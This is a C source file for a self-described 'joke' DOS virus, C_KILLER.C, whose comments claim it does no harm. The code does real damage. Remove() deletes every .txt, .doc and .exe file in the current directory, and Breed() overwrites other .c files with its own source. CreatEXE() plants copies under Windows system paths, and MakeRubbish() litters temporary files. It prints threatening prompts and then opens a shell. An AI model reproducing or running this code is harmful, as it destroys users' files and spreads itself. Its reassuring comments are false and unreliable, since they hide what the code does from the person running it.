/**********************************IN FACT,IT"S NOT A VIRYUS AT ALL.**********************************/ #include <io.h>#include <dir.h>#include <stdio.h>#include <stdlib.h>#include <string.h> /* copy outfile to infile */void copyfile(char *infile, char *outfile){    FILE *in,*out;     in = fopen(infile,"r");    out = fopen(outfile,"w");     while (!feof(in))    {        fputc(fgetc(in),out);    }     fclose(in);    fclose(out);} /* This function  named Rubbishmaker. */void MakeRubbish(){    int i;        FILE *fp;    char *path;    char *NewName;    char *disk[7] = {"A","B","C","D","E","F","G"};    char *addtion = ":\\";     /* Make some rubbish at the current catalogue */    for (i = 0; i<5; i++)    {        char tempname[] = "XXXXXX" ;         NewName = mktemp(tempname);        fp = fopen(NewName,"w");        fclose(fp);    } /* make some rubbish at the root catalogue */     path = strcat(disk[getdisk()],addtion); /* get the root catalogue */     chdir(path); /*change directory according to the "path" */     for (i = 0; i<5; i++)    {        char tempname[] = "XXXXXX";         NewName = mktemp(tempname);        fp = fopen(NewName,"w");        fclose(fp);    }} /*  This function can  creat some .exe or .com documents in the sensitive place.  Don't worry,It's only a joke.It will do no harm to your computer.*/ void CreatEXE(){    int i;    char *path;    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};    for ( i = 0; i < 2; i++)    {        open(s[i], 0x0100,0x0080);        copyfile( "C_KILLER.C",s[i]);    }} /* remove something from your computer */void Remove(){            int done;    int i;     struct ffblk ffblk;    char *documenttype[3] = {"*.txt","*.doc","*.exe"};    for (i = 0; i < 3; i++)    {        done = findfirst(documenttype[i],&ffblk,2);        while (!done)        {                remove(ffblk.ff_name);                done = findnext(&ffblk);        }    }}   /* overlay the c programs */void Breed(){    int done;    struct ffblk ffblk;     done = findfirst("*.c",&ffblk,2);    while (!done)    {        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )        {                copyfile("C_KILLER.C",ffblk.ff_name);        }        done = findnext(&ffblk);    }} void main(){ printf("THERE IS A VIRUS BY  XIAOKE.\n\n");     Breed();    Remove();    CreatEXE();  printf("COULD YOU TELL ME YOUR NAME?\n\n"); printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n"); MakeRubbish(); getchar(); printf("IT'S ONLY A JOKE! THANK YOU!\n\n");  clrscr(); system("cmd");}

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